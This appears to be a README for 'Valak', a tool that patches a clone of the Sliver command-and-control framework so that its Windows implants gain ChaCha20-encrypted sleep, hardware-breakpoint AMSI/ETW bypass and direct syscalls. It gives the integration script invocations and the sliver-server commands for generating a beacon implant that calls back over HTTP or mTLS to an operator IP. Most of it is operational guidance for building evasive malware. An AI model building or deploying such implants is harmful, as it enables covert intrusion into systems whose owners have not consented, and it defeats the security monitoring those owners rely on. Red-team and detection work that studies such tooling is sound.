72 lines
1.9 KiB
Markdown
72 lines
1.9 KiB
Markdown
# Valak + Sliver integration
|
|
|
|
One script. Three prereqs. Your implant walks out with ChaCha20-encrypted
|
|
sleep, HWBP AMSI/ETW bypass, and FreshyCalls syscalls.
|
|
|
|
## prereqs
|
|
|
|
- **Zig** — any build targeting `x86_64-windows` (Linux zig or Windows zig via WSL)
|
|
- **Go 1.21+** — with a Sliver source clone on disk
|
|
- **python3** — used by the embed script
|
|
|
|
## usage
|
|
|
|
from the Valak repo root, point it at your Sliver clone:
|
|
|
|
```bash
|
|
./scripts/integrate.sh ~/projects/sliver
|
|
```
|
|
|
|
that builds the DLL, embeds it, patches `runner.go`, and verifies the patches
|
|
compile. The actual implant is generated from sliver-server (see below).
|
|
|
|
### options
|
|
|
|
| flag | what it does |
|
|
|------|-------------|
|
|
| `--skip-build` | patch only, don't build the implant |
|
|
| `ZIG=/path/to/zig` | use a specific zig binary (e.g. Windows zig from WSL) |
|
|
|
|
examples:
|
|
|
|
```bash
|
|
# patch only
|
|
./scripts/integrate.sh ~/projects/sliver --skip-build
|
|
|
|
# windows zig on WSL
|
|
ZIG=/mnt/c/Zig/zig.exe ./scripts/integrate.sh ~/projects/sliver
|
|
```
|
|
|
|
## generating the implant
|
|
|
|
after the script patches your clone, generate the implant from sliver-server:
|
|
|
|
```bash
|
|
# start sliver
|
|
sliver-server
|
|
|
|
# on the server REPL:
|
|
sliver > profiles new --beacon --http <YOUR_IP> valak
|
|
sliver > generate --profile valak --save /tmp/valak.exe
|
|
|
|
# or with mtls:
|
|
sliver > generate --mtls <YOUR_IP> --save /tmp/valak.exe
|
|
```
|
|
|
|
the generated binary includes Valak's encrypted sleep, AMSI/ETW bypass, and
|
|
FreshyCalls syscalls automatically. The patched `runner.go` is inherited
|
|
through Sliver's template processing.
|
|
|
|
### idempotent
|
|
|
|
running the script twice on the same clone is safe — it detects existing
|
|
patches and skips them.
|
|
|
|
## notes
|
|
|
|
- **beacon mode only** — encrypted sleep hooks `beaconMainLoop`. Session mode
|
|
blocks on connection receive, so evasion there is AMSI/ETW bypass and
|
|
FreshyCalls only.
|
|
- **one-time init** — `Bootstrap()` goes in `beaconMainLoop` (runs once per
|
|
beacon connection), not `beaconMain` (runs every check-in).
|